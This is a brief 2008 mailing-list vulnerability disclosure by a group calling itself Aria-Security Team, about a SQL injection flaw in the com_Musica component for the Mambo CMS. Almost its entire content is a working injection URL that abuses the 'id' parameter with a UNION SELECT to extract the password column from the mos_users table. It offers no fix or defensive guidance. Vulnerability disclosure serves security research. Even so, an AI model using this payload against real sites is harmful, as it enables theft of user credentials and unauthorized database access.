Mambo com_Musica "id" Remote SQL Injection

From: <no-reply_at_aria-security.net>
Date: 1 Mar 2008 02:45:03 -0000

('binary' encoding is not supported, stored as-is) Aria-Security Team (Persian Security Network)
http://Aria-Security.Net
-------------------------------
Shoutz : AurA, imm02tal, Kinglet, iM4N, & All our staff
Mambo com_Musica "id" Remote SQL Injection

index.php?option=com_musica&Itemid=172&tasko=viewo &task=view2&id=-4214/**/union+select/**/0,0,password,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0+fro m%2F%2A%2A%2Fmos_users/*

Regards,
The-0utl4w
Received on Mar 01 2008